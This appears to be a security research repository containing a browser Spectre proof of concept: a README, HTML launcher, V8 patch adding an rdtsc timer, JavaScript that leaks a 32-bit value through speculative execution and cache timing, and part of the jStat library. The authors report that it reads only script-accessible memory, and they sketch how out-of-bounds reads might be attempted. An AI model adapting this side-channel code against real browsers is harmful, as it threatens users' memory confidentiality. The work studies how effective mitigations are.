├── README.md ├── Spectre.html ├── 0001-timers-for-spectre.patch ├── Spectre.js └── jstat.js /README.md: -------------------------------------------------------------------------------- 1 | # spectreBrowserResearch 2 | 3 | This repository holds the POC code used in the team's research into Spectre vulnerability in browsers. The research blog can be found [here](https://alephsecurity.com). 4 | 5 | To execute the POC clone the repo, open Spectre.html in a browser, open the Javascript console and click the button on the page. 6 | -------------------------------------------------------------------------------- /Spectre.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | Click for Spectre POC 10 | 11 |
12 | 13 | 14 | -------------------------------------------------------------------------------- /0001-timers-for-spectre.patch: -------------------------------------------------------------------------------- 1 | From 15092a172f29814308137384db5a78e994320c82 Mon Sep 17 00:00:00 2001 2 | From: Jonathan Afek 3 | Date: Mon, 26 Feb 2018 16:33:06 +0200 4 | Subject: [PATCH] timers for spectre 5 | 6 | --- 7 | src/objects.cc | 18 ++++++++++++++++++ 8 | src/objects.h | 2 ++ 9 | src/runtime/runtime-date.cc | 6 ++++++ 10 | src/runtime/runtime.h | 3 ++- 11 | 4 files changed, 28 insertions(+), 1 deletion(-) 12 | 13 | diff --git a/src/objects.cc b/src/objects.cc 14 | index 598b2631bc..032c4d5e90 100644 15 | --- a/src/objects.cc 16 | +++ b/src/objects.cc 17 | @@ -18970,6 +18970,24 @@ double JSDate::CurrentTimeValue(Isolate* isolate) { 18 | return Floor(V8::GetCurrentPlatform()->CurrentClockTimeMillis()); 19 | } 20 | 21 | +//static __inline__ uint64_t rdtsc(void) 22 | +//{ 23 | +// uint32_t hi, lo; 24 | +// __asm__ __volatile__ ("rdtsc" : "=a"(lo), "=d"(hi)); 25 | +// return ( (uint64_t)lo)|( ((uint64_t)hi)<<32 ); 26 | +//} 27 | + 28 | +static __inline__ uint32_t rdtsc(void) 29 | +{ 30 | + uint32_t hi, lo; 31 | + __asm__ __volatile__ ("rdtsc" : "=a"(lo), "=d"(hi)); 32 | + return ((uint32_t)lo & (uint32_t)0x7FFFFFFF); 33 | +} 34 | + 35 | +uint32_t JSDate::CurrentTimeValueRdtsc(Isolate* isolate) { 36 | + return rdtsc(); 37 | +} 38 | + 39 | 40 | // static 41 | Object* JSDate::GetField(Object* object, Smi* index) { 42 | diff --git a/src/objects.h b/src/objects.h 43 | index 2b01ce015d..b023323582 100644 44 | --- a/src/objects.h 45 | +++ b/src/objects.h 46 | @@ -3878,6 +3878,8 @@ class JSDate: public JSObject { 47 | // Returns the time value (UTC) identifying the current time. 48 | static double CurrentTimeValue(Isolate* isolate); 49 | 50 | + static uint32_t CurrentTimeValueRdtsc(Isolate* isolate); 51 | + 52 | // Returns the date field with the specified index. 53 | // See FieldIndex for the list of date fields. 54 | static Object* GetField(Object* date, Smi* index); 55 | diff --git a/src/runtime/runtime-date.cc b/src/runtime/runtime-date.cc 56 | index d149af652b..1876b4c172 100644 57 | --- a/src/runtime/runtime-date.cc 58 | +++ b/src/runtime/runtime-date.cc 59 | @@ -27,5 +27,11 @@ RUNTIME_FUNCTION(Runtime_DateCurrentTime) { 60 | return *isolate->factory()->NewNumber(JSDate::CurrentTimeValue(isolate)); 61 | } 62 | 63 | +RUNTIME_FUNCTION(Runtime_DateCurrentTimeRdtsc) { 64 | + HandleScope scope(isolate); 65 | + //DCHECK_EQ(0, args.length()); 66 | + return *isolate->factory()->NewNumberFromUint(JSDate::CurrentTimeValueRdtsc(isolate)); 67 | +} 68 | + 69 | } // namespace internal 70 | } // namespace v8 71 | diff --git a/src/runtime/runtime.h b/src/runtime/runtime.h 72 | index 2a78d63958..171c2866ef 100644 73 | --- a/src/runtime/runtime.h 74 | +++ b/src/runtime/runtime.h 75 | @@ -127,7 +127,8 @@ namespace internal { 76 | 77 | #define FOR_EACH_INTRINSIC_DATE(F) \ 78 | F(IsDate, 1, 1) \ 79 | - F(DateCurrentTime, 0, 1) 80 | + F(DateCurrentTime, 0, 1) \ 81 | + F(DateCurrentTimeRdtsc, 0, 1) 82 | 83 | #define FOR_EACH_INTRINSIC_DEBUG(F) \ 84 | F(HandleDebuggerStatement, 0, 1) \ 85 | -- 86 | 2.16.0 87 | 88 | -------------------------------------------------------------------------------- /Spectre.js: -------------------------------------------------------------------------------- 1 | /* 2 | * The general flow of this POC is to have a known value stored in a JS variable. 3 | * The variable bits will be queried in a speculatively executed branch (misprediction), 4 | * and inside that branch the cache state of other JS array cells will be affected based of the bit value queried (these cells will enter the cache). 5 | * These affected cells are specially crafted so that each one points to the next one - thus, when we later 6 | * access the the cells one after the other by following the pointers, we will have an amplified time difference 7 | * between a state where each of the cells is cached compared to the state where each of the cells is not cached. 8 | * The time difference should be roughly the time to fetch a cache-line from the RAM times the amount of cells. 9 | * In addtion, we wait for performance.now() to tick in a busy loop, and start checking the probe array right after the tick. 10 | * From that point, we count the number iterations inside a busy loop until performance.now() ticks again. 11 | * We then do the whole described process a number of times in a loop, and compute the mean value of the ticks we got in each iteration. 12 | * We can then see a clear difference in the mean value between a state where the probe pointer array was all cached or all non-cached, 13 | * and therefore can conclude whether the bit value was 1 or 0. 14 | * This process allows us to read a memory value that we are able to speculatively access in a speculatively predicted branch in ~1 second per bit. 15 | * We were not able to access memory that is not already accessible to our code anyway, due to the array index masking Spectre mitigation. 16 | * Howerver, such access could be potentially achieved by training a function to access a far member of an object passed to it, and then passing a short 17 | * object to this function, in which the member of the same name is much closer to the beginning of the object. Thus, the value that would be speculatively read 18 | * is of a larger offset from the beginning of the object (beyond the object limits), and this memory slot could potentially hold some sort of sensitive information. 19 | * This POC shows, that while the performace.now() resolution reduction and jitter added as Spectre mitigations are very effective at slowing 20 | * down Spectre expolits, they do not actually help to prevent them. The actual prevention is done by index masking and/or process site isolation. 21 | */ 22 | 23 | // temp variable so stuff won't get opted out and also for keeping function from being inlined in JIT 24 | var temp = []; 25 | 26 | 27 | // Array setup functions 28 | // This function prepares the arrays for cache miss chaining so that each cell points to the next one. 29 | // We use cells in page offsets from one another to both have them in a similar cache-set position (6 of the bit determining the cache set are the same) 30 | // and to prevent pre-fetching of other cells when accessing one of them. 31 | // cache miss chaining works well as opposed to sequentially accessing all the cells as when accessing the cells sequentially the cache requests and misses 32 | // are handled many at the same time instead of one after the other. 33 | // We use cells in page offests - 4096 bytes apart - 1024 int cells apart for 32 bit ints. 34 | function _normalArraySetup(mainArr, base, size) { 35 | for (i = base; i < base + size; i++) { 36 | mainArr[i] = i + 1024; 37 | } 38 | } 39 | 40 | 41 | /* 42 | * This code uses multiple subarrays with different roles of a single one big allocated array. 43 | * This gives us partial control over the addresses differences of the cells in the array and thus the relevant CPU cache sets they belong to. 44 | * The mainArray structure: 45 | * int cells: 0 - flushArraySize: flush array: 46 | * access to relevant cells in this part of the array will evict the relevant cache sets we want to clear. For more info on the flush functionality please see: _cacheFlush() 47 | * int cells: cmpBase - cmpBase + probeArrSize: cmp array: 48 | * The cmp array is used for having multiple copies of values higher than 1000 that are uncached. 49 | * Each of them will be used to compare to 1000 in the code and since they are not cached, the branch will need to be speculated with branch prediction. The final non-speculated result will be to 50 | * not execute the branch. We show that in the meanwhile the branch will be executed and the code inside it will affect the cache state of the probe array. 51 | * int cells: probeBase - probeBase + (2 * probeArrSize) + 256: probe array: 52 | * The content of this part is split into 2 parts and some empty space. 53 | * content of 2 parts: 54 | * Each index value is a pointer to the cell one page exactly ahead of that cell so that if the whole part is 55 | * to be read pointer to pointer and it is all uncached then the total amount of time it would take is a single RAM fetch to CPU cache time * number of pointed cells in the part. 56 | * This allows us to significantly amplify the cache miss time for each secret value probed in this Spectre POC. The cells are a page apart and the next one is known only after reading 57 | * the value of the previous one thus prefetches and simultaneous reads are prevented. 58 | * each of the 2 parts is responsible for a chain of reads that are supposed to be CPU cached if the relevant bit is 0 or 1. The ratio between the time it takes to resolve the 2 different chains determines 59 | * the value of the bit read inside the speculative execution. 60 | * We want to use different cache sets explicitly for the 2 different parts so that probing one of them will not affect the cache state of the other. 61 | * In order to do so let's examine the physical address of the beginning of the first part. Let's define the lower 12 bits as: x0, x1, x2,x3, x4, x5, x6, x7, x8, x9, x10, x11. 62 | * The cache set is determined by the bits starting from bit 6 and up, as the lower 6 bits are used for offset inside the cache line (assuming a 512 bit cache line). Bits above the lower 12 bits are determined by the physical-virtual memory mapping and we have no control over them from the JS code. 63 | * For the first part of the probe array (used for bit value 0) we then use cells that are page apart from each other. 64 | * This way the lower 12 bits are not changed between the different cells of this part so that addresses with this exact combination of x6..x11 will use distict cache sets from addresses with diffent x6..x11 combinations. 65 | * the second part (used for bit value 1) will also use cells which are complete pages apart 66 | * but will use an offset of half a page for the first cell so that x11 bit will be different for cells in this part from the previous part and cells from one part will never use the same cache sets as cells from the other. 67 | * int cells: trainProbeBase - trainProbeBase + trainProbeArrSize: training probe array: 68 | * training probe array is used in the speculative condition function just as a placeholder for probing something while training the branch predicrtion. 69 | * int cells: trainCmpBase - trainCmpBase + probeArrSize: training cmp array: 70 | * This array holds 0 values so that the comparison condition will always enter the branch in order to train the branch prediction. 71 | */ 72 | 73 | /* 74 | * The main POC function: 75 | * flushArrSize - The size of the array used to flush the cache when accessing it. 76 | * probeArrSize - The size of the probe array used for cache miss chaining. 77 | * iterCnt - The number of times to count the loops until the next performace.now() tick to produce the mean value to reduce the jitter noise. 78 | * restVal - The value we read in the speculative branch as the "secret" data and later we restore this value by timing accesses to the probe array. 79 | * bitRepeat - The number of times we repeat the process for each bit. Normally this will remain as 1. 80 | */ 81 | function fullTest(flushArrSize, probeArrSize, iterCnt, restVal, bitRepeat, threshold, useSpeculative) { 82 | var cmpArrSize = probeArrSize; 83 | var trainProbeArrSize = 2 ** 10; 84 | var lastTick = performance.now(); 85 | var curTick = performance.now(); 86 | 87 | // arrays for holding results 88 | var bitIsZeroCntArr = new Int32Array(new ArrayBuffer(2 * 4 * iterCnt)); 89 | var bitIsOneCntArr = new Int32Array(new ArrayBuffer(2 * 4 * iterCnt)); 90 | var ratioArr = new Float32Array(new ArrayBuffer(4 * 32 * bitRepeat)); 91 | 92 | // this is the main array - we will use offsets into it to "simulate" multiple arrays, so we can control their relative addresses 93 | var mainArrAccessor = new Int32Array(new ArrayBuffer((flushArrSize * 4) + (probeArrSize * 2 * 4) + (cmpArrSize * 4) + (trainProbeArrSize * 2 * 4) + 4096)); 94 | 95 | var dataArr = new Int32Array(new ArrayBuffer(4 * 10)); 96 | //index 0 is here so we can access it to get all the dataArr metadata in the cache before starting to work with it 97 | dataArr[0] = 0; 98 | //index 1 holds the original "secret" value 99 | dataArr[1] = restVal; 100 | //index 2 will later hold the value we are able to restore by timing accesses to the probe arrays 101 | dataArr[2] = 0; 102 | 103 | // offsets into the main array that will "simulate" multiple arrays 104 | // all array sizes should be multiple of a page size 105 | var flushBase = 0; 106 | var cmpBase = flushArrSize; 107 | // probe array is split into 2 parts: 108 | // The first part is used for bit value 0 and uses cells with 1024 bytes page offsets from the beginning of the main array. 109 | // the second part is used for bit value 1 and uses cells with a page offset of 3072 bytes from the beginning of the main array. 110 | // This makes the cells of the second part have a different x11 value and therefore use distinct cache sets from the first part. 111 | // Both parts use cells that are complete pages apart from one cell to the next one. 112 | var probeBase = cmpBase + probeArrSize + 256; 113 | // The training probe array used for training the branch prediction and must not affect the cache state of the 2 parts of the regular probe array. 114 | // Therefore it is using cells at a 2048 bytes page offest from the beginning of the main array. This makes the cells have different x10 or x11 115 | // bits from the cells of either of the 2 parts of the probe array. 116 | // It is also using cells that are complete pages apart from one the cell to the next one. 117 | var trainProbeBase = probeBase + (2 * probeArrSize) + 256; 118 | // The training cmp array is actually a single cell with the value 0 119 | // The value 0 is used for having a value which satisfies the branch condition and is used for training the branch predictor. 120 | var trainCmpBase = trainProbeBase + trainProbeArrSize; 121 | 122 | var bitIsZeroCnt = 0; 123 | var bitIsOneCnt = 0; 124 | var idx = 0; 125 | 126 | var tempAccum = 0; 127 | 128 | // intialize all arrays so that int in the array will hold the index of a cell that is a page ahead of it 129 | _normalArraySetup(mainArrAccessor, flushBase, flushArrSize); 130 | _normalArraySetup(mainArrAccessor, probeBase, probeArrSize * 2); 131 | _normalArraySetup(mainArrAccessor, trainProbeBase, 2 * trainProbeArrSize); 132 | _normalArraySetup(mainArrAccessor, cmpBase, cmpArrSize);// the cmp array can simply be initialized with any value larger than 1000, for simplicity it is initialized with the same function as the other parts of the array 133 | mainArrAccessor[trainCmpBase] = 0; 134 | 135 | for (bitR = 0; bitR < bitRepeat; bitR++) { // multiple tries for each bit, when we finish we'll take the average of all the tries 136 | for (bit = 31; bit >= 0; bit--) { // iterate over all 32 bits... 137 | for (j = 0; j < iterCnt; j++) { // multiple "experiments" for each bit - so that the jitter noise is reduced 138 | // flush the cache 139 | tempAccum += _cacheFlush(mainArrAccessor, flushBase, flushArrSize); 140 | 141 | //probe read - multiple times so we could chain the misses/hits 142 | for (prOffset = 0; prOffset < probeArrSize; prOffset += 1024) { 143 | // branch prediction training 144 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 145 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 146 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 147 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 148 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 149 | // misspredicted branch read to insert a single probe array cell into the cache based on the read bit value 150 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, probeBase, prOffset, probeArrSize, cmpBase, dataArr, 1, bit, useSpeculative); 151 | } 152 | 153 | /* 154 | * The part of the array that corresponds with the bit value 1 will be in a page 155 | * offset that is half a page (512 ints) different from the part that corresponds with the bit value 0 156 | * (meaning 2048 bytes appart from the 0 value part of the array, and also 3072 bytes appart from the compare part of the array) 157 | * so that when we probe them they won't collide with each other in the cache. 158 | * That is all the cells in the probe array part used for bit value 1 will use a different subset of the cache from the cells in the probe array part used for bit value 0. 159 | */ 160 | 161 | /* 162 | * This part is going to probe for the part of the array corresponding to bit value 1 163 | */ 164 | idx = probeBase + probeArrSize + 512; //probeBase + probeArrSize + 512 is the index of the beginning of the second part of the probe array used for bit value 1 165 | 166 | // timing 167 | // Wait for performance.now() to tick before starting the probing process. 168 | lastTick = curTick = performance.now(); 169 | while (lastTick == (curTick = performance.now())); 170 | lastTick = curTick; 171 | 172 | // probe 173 | // This is where we access all the probe array part cells chained one after the other either in a cached state or a non-cached state. 174 | while (idx < probeBase + 2 * probeArrSize) { 175 | idx = mainArrAccessor[idx]; 176 | } 177 | 178 | // count and wait for change 179 | // The count should be smaller until the next tick if cells were not cached as probing took a longer time. 180 | while (lastTick == (curTick = performance.now())) { 181 | bitIsOneCnt++; 182 | } 183 | 184 | // log result 185 | // We execute this logic twice for each iteration so we store the result now in index 2 * j and later we use 2 * j + 1 186 | bitIsOneCntArr[2 * j] = bitIsOneCnt; 187 | //prevent opt-out of the code 188 | temp.push(idx); 189 | 190 | /* 191 | * This part is going to probe for the part of the array corresponding to bit value 0 192 | */ 193 | idx = probeBase; 194 | 195 | // timing 196 | //Wait for performance.now() to tick before starting the probing process. 197 | lastTick = curTick = performance.now(); 198 | while (lastTick == (curTick = performance.now())); lastTick = curTick; 199 | 200 | // probe 201 | //This is where we access all the probe array part cells chained one after the other either in a cached state or a non-cached state. 202 | while (idx < probeBase+probeArrSize) { 203 | idx = mainArrAccessor[idx]; 204 | } 205 | 206 | // count and wait for change 207 | // The count should be smaller until the next tick if cells were not cached as probing took a longer time. 208 | while (lastTick == (curTick = performance.now())) { 209 | bitIsZeroCnt++; 210 | } 211 | 212 | // log result 213 | // We execute this logic twice for each iteration so we store the result now in index 2 * j and later we use 2 * j + 1 214 | bitIsZeroCntArr[2 * j] = bitIsZeroCnt; 215 | //prevent opt-out of the code 216 | temp.push(idx); 217 | 218 | // restore state 219 | bitIsOneCnt = 0; 220 | bitIsZeroCnt = 0; 221 | 222 | /* 223 | * Again but opposite order 224 | * First check that probe array part for bit value 0 and the check the part for bit value 1. 225 | */ 226 | 227 | // flush the cache 228 | tempAccum += _cacheFlush(mainArrAccessor, flushBase, flushArrSize); 229 | 230 | //probe read 231 | //probe read - multiple times so we could chain the misses/hits 232 | for (prOffset = 0; prOffset < probeArrSize; prOffset += 1024) { 233 | // branch prediction training 234 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 235 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 236 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 237 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 238 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, trainProbeBase, 0, trainProbeArrSize, trainCmpBase, dataArr, 0, 0, useSpeculative); 239 | // misspredicted branch read to insert a single probe array cell into the cache based on the read bit value 240 | tempAccum += _speculativeAccessFuncWithBitOffset(mainArrAccessor, probeBase, prOffset, probeArrSize, cmpBase, dataArr, 1, bit, useSpeculative); 241 | } 242 | 243 | /* 244 | * This part is going to probe for the part of the array corresponding to bit value 0 245 | */ 246 | idx = probeBase; 247 | 248 | // timing 249 | // Wait for performance.now() to tick before starting the probing process. 250 | lastTick = curTick = performance.now(); 251 | while (lastTick == (curTick = performance.now())); lastTick = curTick; 252 | 253 | // probe 254 | // This is where we access all the probe array part cells chained one after the other either in a cached state or a non-cached state. 255 | while (idx < probeBase + probeArrSize) { 256 | idx = mainArrAccessor[idx]; 257 | } 258 | 259 | // count and wait for change 260 | // The count should be smaller until the next tick if cells were not cached as probing took a longer time. 261 | while (lastTick == (curTick = performance.now())) { 262 | bitIsZeroCnt++; 263 | } 264 | 265 | // log result 266 | bitIsZeroCntArr[2 * j + 1] = bitIsZeroCnt; 267 | temp.push(idx); 268 | 269 | /* 270 | * This part is going to probe for the part of the array corresponding to bit value 1 271 | */ 272 | idx = probeBase + probeArrSize + 512; //probeBase + probeArrSize + 512 is the index of the beginning of the second part of the probe array used for bit value 1 273 | 274 | // timing 275 | // Wait for performance.now() to tick before starting the probing process. 276 | lastTick = curTick = performance.now(); 277 | while (lastTick == (curTick = performance.now())); 278 | lastTick = curTick; 279 | 280 | // probe 281 | // This is where we access all the probe array part cells chained one after the other either in a cached state or a non-cached state. 282 | while (idx < probeBase + 2 * probeArrSize) { 283 | idx = mainArrAccessor[idx]; 284 | } 285 | 286 | // count and wait for change 287 | // The count should be smaller until the next tick if cells were not cached as probing took a longer time. 288 | while (lastTick == (curTick = performance.now())) { 289 | bitIsOneCnt++; 290 | } 291 | 292 | // log result 293 | bitIsOneCntArr[2 * j + 1] = bitIsOneCnt; 294 | temp.push(idx); 295 | 296 | // restore state 297 | bitIsOneCnt = 0; 298 | bitIsZeroCnt = 0; 299 | 300 | } 301 | ratio = jStat.mean(bitIsZeroCntArr) / jStat.mean(bitIsOneCntArr); 302 | if (iterCnt > 1) { 303 | console.log("ratio: " + ratio); 304 | //console.log("zero var: " + jStat.variance(bitIsZeroCntArr)); 305 | //console.log("one var: " + jStat.variance(bitIsOneCntArr)); 306 | } 307 | //console.log("bitIsZeroCnt: " + jStat.mean(bitIsZeroCntArr)); 308 | //console.log("bitIsOneCnt: " + jStat.mean(bitIsOneCntArr)); 309 | ratioArr[bitR * 32 + bit] = ratio; 310 | } 311 | } 312 | for (bit = 31; bit >= 0; bit--) { 313 | ratioAvg = 0; 314 | for (bitR = 0; bitR < bitRepeat; bitR++) { 315 | ratioAvg += ratioArr[32 * bitR + bit]; 316 | } 317 | ratioAvg = ratioAvg / bitRepeat; 318 | // when experimenting with this code we noticed a bias in the timing results when using different browsers and configurations, 319 | // this is why a configurable threshold is needed rather than just using the value 1 320 | if (ratioAvg > threshold) { 321 | dataArr[2] = (dataArr[2] << 1) | 0; 322 | } 323 | else { 324 | dataArr[2] = (dataArr[2] << 1) | 1; 325 | } 326 | } 327 | if (iterCnt > 1) { 328 | console.log("original value: " + dataArr[1].toString(2)); 329 | console.log("restored value: " + dataArr[2].toString(2)); 330 | console.log("tempAccum: " + tempAccum); 331 | } 332 | } 333 | 334 | 335 | /* 336 | * flush the cache by accessing the main array at dedicated offfsets 337 | * (so those offsets are cached instead) 338 | */ 339 | function _cacheFlush(mainArrAccessor, flushBase, flushArrSize) { 340 | mainArrAccessor[flushBase]++; 341 | // sum is computed just to make sure that non of the function logic is opted-out 342 | var sum = 0; 343 | for (k = flushBase; k < flushBase + flushArrSize; k += 1024) { 344 | // flush compare array part - uses offest 0 of complete pages from the main array base for distinct x10 and x11 address bits values. 345 | sum += mainArrAccessor[k]; 346 | // flush the second probe array part (bit value 1) - uses offest 768 (3072 bytes) from complete pages from the main array base for distinct x10 and x11 address bits values. 347 | sum += mainArrAccessor[k + 768]; 348 | // flush the first probe array part (bit value 0) - uses offest 256 (1024 bytes) from complete pages from the main array base for distinct x10 and x11 address bits values. 349 | sum += mainArrAccessor[k + 256]; 350 | } 351 | return sum; 352 | } 353 | 354 | 355 | /* 356 | * This function has 2 main goals. 357 | * 1. when passed the training cmp array and the training probe array it is 358 | * used for training the branch prediction to indeed enter branch under the 359 | * "if" condition. 360 | * 2. when passed the cmp array and the regular probe array it is used to 361 | * speculatively execute (after branch prediction training) probe array 362 | * accesses (insert into CPU cache) in indices based on the value read 363 | * inside the speculative exection. 364 | */ 365 | function _speculativeAccessFuncWithBitOffset(mainArrAccessor, // This is the global array used for all sub arrays 366 | probeBase, // This is the beginning of the 2 parts of the probe array. one part for bit value 0 and the other for bit value 1. 367 | // In case of training just a different part of the global array so it won't affect the caching of the real probe arrays. 368 | probeOffset, // This is the index offset inside the probe array. we want to insert into the cache many cells for the cache miss chaining. 369 | probeArrSize, // This is the probe array size so we can access either the part of the array that is relevant for bit value 0 or the other one for bit value 1 (offset of probeArrSize + 512 from the 0 bit value part) 370 | cmpBase, // This is the part of the main array used for uncached values larger than 1000 so that we will have mis-predicted execution of the branch. 371 | // In case of training just a part of the array with 0 values to train the function to predict a true result for the if condition. 372 | dataArr, // The array that holds the "secret" value to read inside index 1. 373 | readIndex, // The index to use inside the dataArr for the "secret" value to read. 374 | bitOffset, // The current bit to read inside the 32 bit int. 375 | useSpeculative // Chooses if the probe access will be speculative or not 376 | ) 377 | { 378 | // Access the dataArr so its metadata is cached, then call performance.now() so we get a barrier, 379 | // This will make sure that dataArr and its metadata is cached when the specultive code tries to access it. 380 | var t = dataArr[0] * bitOffset; 381 | if (useSpeculative) { 382 | compareValue = 1000; 383 | } 384 | else { 385 | compareValue = Number.MAX_VALUE; 386 | } 387 | performance.now(); 388 | // This is the speculative code that will access the dataArr. 389 | // Notice that the "compare" part of the main array that is not cached when we access it, 390 | // While the dataArr is cached, this way the speculative code will reach the code accessing the 391 | // probe part of the main array. 392 | if (mainArrAccessor[cmpBase + probeOffset] < compareValue) { 393 | var bit = (dataArr[readIndex] >>> bitOffset) & 1; 394 | var indx = probeBase + probeOffset + ((probeArrSize + 512) * bit); 395 | t = mainArrAccessor[indx] + t; 396 | } 397 | 398 | // Some extra code to prevent inlining of this function. 399 | // If this function is inlined the speculative training will not work 400 | // as the training will be for a different branch of each inlined instance. 401 | var local_temp = 0; 402 | local_temp = local_temp * t * 2; 403 | local_temp++; 404 | local_temp = local_temp * t * 2; 405 | local_temp++; 406 | local_temp = local_temp * t * 2; 407 | local_temp++; 408 | local_temp = local_temp * t * 2; 409 | local_temp++; 410 | local_temp = local_temp * t * 2; 411 | local_temp++; 412 | local_temp = local_temp * t * 2; 413 | local_temp++; 414 | local_temp = local_temp * t * 2; 415 | local_temp++; 416 | local_temp = local_temp * t * 2; 417 | local_temp = local_temp * t * 2; 418 | local_temp++; 419 | local_temp = local_temp * t * 2; 420 | local_temp++; 421 | local_temp = local_temp * t * 2; 422 | local_temp++; 423 | local_temp = local_temp * t * 2; 424 | local_temp++; 425 | local_temp = local_temp * t * 2; 426 | local_temp++; 427 | local_temp = local_temp * t * 2; 428 | local_temp++; 429 | local_temp = local_temp * t * 2; 430 | local_temp++; 431 | local_temp = local_temp * t * 2; 432 | temp[0] = local_temp; 433 | 434 | return t; 435 | } 436 | 437 | 438 | function execute() { 439 | console.log("starting warmup"); 440 | // warmup to get JIT and cache state for all relevant code and data 441 | for (m = 0; m < 100; m++) { 442 | fullTest(8, 8, 1, 0, 1); 443 | } 444 | console.log("warmup done"); 445 | // Internet Explorer 6-11 446 | var isIE = /*@cc_on!@*/false || !!document.documentMode; 447 | 448 | // Edge 20+ 449 | var isEdge = !isIE && !!window.StyleMedia; 450 | 451 | // Chrome 1+ 452 | var isChrome = !!window.chrome && !!window.chrome.webstore; 453 | if (isChrome) { 454 | useSpeculative = true; 455 | probeArrSize = (2**19); 456 | flushArrSize = 2*(2**20); 457 | iterCnt = 500; 458 | valueToRestore = 1717986918; 459 | bitRepeat = 1; 460 | threshold = 0.95; 461 | } 462 | else if (isEdge) { 463 | useSpeculative = false; 464 | probeArrSize = (2**19); 465 | flushArrSize = 2*(2**20); 466 | iterCnt = 50; 467 | valueToRestore = 1717986918; 468 | bitRepeat = 1; 469 | threshold = 1; 470 | } 471 | else { // assume we are on safari 472 | useSpeculative = false; 473 | probeArrSize = (2**19); 474 | flushArrSize = 2*(2**20); 475 | iterCnt = 200; 476 | valueToRestore = 1717986918; 477 | bitRepeat = 1; 478 | threshold = 0.99; 479 | } 480 | 481 | for (m = 0; m < 10; m++) { 482 | fullTest(flushArrSize, 483 | probeArrSize, 484 | iterCnt, 485 | valueToRestore, 486 | bitRepeat, 487 | threshold, 488 | useSpeculative); 489 | } 490 | } 491 | -------------------------------------------------------------------------------- /jstat.js: -------------------------------------------------------------------------------- 1 | (function (window, factory) { 2 | if (typeof exports === 'object') { 3 | module.exports = factory(); 4 | } else if (typeof define === 'function' && define.amd) { 5 | define(factory); 6 | } else { 7 | window.jStat = factory(); 8 | } 9 | })(this, function () { 10 | var jStat = (function(Math, undefined) { 11 | 12 | // For quick reference. 13 | var concat = Array.prototype.concat; 14 | var slice = Array.prototype.slice; 15 | var toString = Object.prototype.toString; 16 | 17 | // Calculate correction for IEEE error 18 | // TODO: This calculation can be improved. 19 | function calcRdx(n, m) { 20 | var val = n > m ? n : m; 21 | return Math.pow(10, 22 | 17 - ~~(Math.log(((val > 0) ? val : -val)) * Math.LOG10E)); 23 | } 24 | 25 | 26 | var isArray = Array.isArray || function isArray(arg) { 27 | return toString.call(arg) === '[object Array]'; 28 | }; 29 | 30 | 31 | function isFunction(arg) { 32 | return toString.call(arg) === '[object Function]'; 33 | } 34 | 35 | 36 | function isNumber(arg) { 37 | return typeof arg === 'number' && arg === arg; 38 | } 39 | 40 | 41 | // Converts the jStat matrix to vector. 42 | function toVector(arr) { 43 | return concat.apply([], arr); 44 | } 45 | 46 | 47 | // The one and only jStat constructor. 48 | function jStat() { 49 | return new jStat._init(arguments); 50 | } 51 | 52 | 53 | // TODO: Remove after all references in src files have been removed. 54 | jStat.fn = jStat.prototype; 55 | 56 | 57 | // By separating the initializer from the constructor it's easier to handle 58 | // always returning a new instance whether "new" was used or not. 59 | jStat._init = function _init(args) { 60 | var i; 61 | 62 | // If first argument is an array, must be vector or matrix. 63 | if (isArray(args[0])) { 64 | // Check if matrix. 65 | if (isArray(args[0][0])) { 66 | // See if a mapping function was also passed. 67 | if (isFunction(args[1])) 68 | args[0] = jStat.map(args[0], args[1]); 69 | // Iterate over each is faster than this.push.apply(this, args[0]. 70 | for (var i = 0; i < args[0].length; i++) 71 | this[i] = args[0][i]; 72 | this.length = args[0].length; 73 | 74 | // Otherwise must be a vector. 75 | } else { 76 | this[0] = isFunction(args[1]) ? jStat.map(args[0], args[1]) : args[0]; 77 | this.length = 1; 78 | } 79 | 80 | // If first argument is number, assume creation of sequence. 81 | } else if (isNumber(args[0])) { 82 | this[0] = jStat.seq.apply(null, args); 83 | this.length = 1; 84 | 85 | // Handle case when jStat object is passed to jStat. 86 | } else if (args[0] instanceof jStat) { 87 | // Duplicate the object and pass it back. 88 | return jStat(args[0].toArray()); 89 | 90 | // Unexpected argument value, return empty jStat object. 91 | // TODO: This is strange behavior. Shouldn't this throw or some such to let 92 | // the user know they had bad arguments? 93 | } else { 94 | this[0] = []; 95 | this.length = 1; 96 | } 97 | 98 | return this; 99 | }; 100 | jStat._init.prototype = jStat.prototype; 101 | jStat._init.constructor = jStat; 102 | 103 | 104 | // Utility functions. 105 | // TODO: for internal use only? 106 | jStat.utils = { 107 | calcRdx: calcRdx, 108 | isArray: isArray, 109 | isFunction: isFunction, 110 | isNumber: isNumber, 111 | toVector: toVector 112 | }; 113 | 114 | 115 | // Easily extend the jStat object. 116 | // TODO: is this seriously necessary? 117 | jStat.extend = function extend(obj) { 118 | var i, j; 119 | 120 | if (arguments.length === 1) { 121 | for (j in obj) 122 | jStat[j] = obj[j]; 123 | return this; 124 | } 125 | 126 | for (var i = 1; i < arguments.length; i++) { 127 | for (j in arguments[i]) 